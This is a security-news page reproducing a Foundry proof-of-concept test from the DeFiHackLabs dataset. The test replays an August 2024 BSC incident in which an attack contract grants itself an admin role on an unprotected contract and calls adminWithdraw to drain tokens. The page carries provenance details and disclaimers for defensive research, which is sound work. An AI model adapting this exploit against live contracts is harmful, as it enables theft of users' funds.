Skip to content
THREATWIRE

Public reproduction file

src/test/2024-08/unverified_667d_exp.sol

Public reproduction file for dataset entry Unverified_667d.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-08/unverified_667d_exp.sol65 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 10k
7// Attacker : https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad
8// Attack Contract : https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7, https://bscscan.com/address/0xd0a60158b6a5ef01cee3ba9652df695671f366e3
9// Vulnerable Contract : https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e9
10// Attack Tx : https://bscscan.com/tx/0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1828983569278231038
17// Twitter Guy : https://x.com/TenArmorAlert/status/1828983569278231038
18// Hacking God : N/A
20address constant addr1 = 0x603dd1d86b9bC3Ba7aB5c0267eaf7293Ca2abc52;
21address constant header_addr = 0x667DFEd3C4D56DF32Ecc3F2E3CE5BcC4ef03A6Dc;
22address constant vul_addr = 0x8DE7EAbA58EfB23B6F323984377af582B23134e9;
23address constant attacker = 0x847705EEB01b4f2Ae9a92BE12615C1052F52e7Ad;
24address constant dai = 0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3;
27contract ContractTest is Test {
28 function setUp() public {
29 vm.createSelectFork("bsc", 41770501);
30 }
32 function testPoC() public {
33 vm.startPrank(attacker, attacker);
34 AttackerC attC = new AttackerC();
35 vm.stopPrank();
36 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(dai).balanceOf(address(attacker)), 18);
37 }
40// 0xA2d1e47e1A154dD51f2eae0413100c4F8ABE13C7
41contract AttackerC {
42 constructor() {
43 // vul_addr.grantRole(bytes32 role, address account)
44 (bool s1,) = vul_addr.call(
45 abi.encodeWithSelector(
46 bytes4(keccak256("grantRole(bytes32,address)")),
47 bytes32(0),
48 address(this)
49 )
50 );
51 require(s1, "grantRole failed");
53 // vul_addr.adminWithdraw(address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID)
54 (bool s2,) = vul_addr.call(
55 abi.encodeWithSelector(
56 bytes4(keccak256("adminWithdraw(address,address,address,uint256)")),
57 header_addr,
58 dai,
59 attacker,
60 uint256(10463638549999999999999)
61 )
62 );
63 require(s2, "adminWithdraw failed");
64 }

Analysis

Dataset entry

Public Foundry test for “Unverified_667d” (2024-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x847705eeb01b4f2ae9a92be12615c1052f52e7ad

  • Attack Contract

    0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7

  • Vulnerable Contract

    0x8de7eaba58efb23b6f323984377af582b23134e9

  • Attack Tx

    0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e

File record

Name
Unverified_667d
Path
src/test/2024-08/unverified_667d_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ff0a3660059caf8019c3f111e9b7428978e63907
Language
Solidity
Size
65 lines
Date
2024-08-28
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-08/unverified_667d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ff0a3660059caf8019c3f111e9b7428978e63907, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.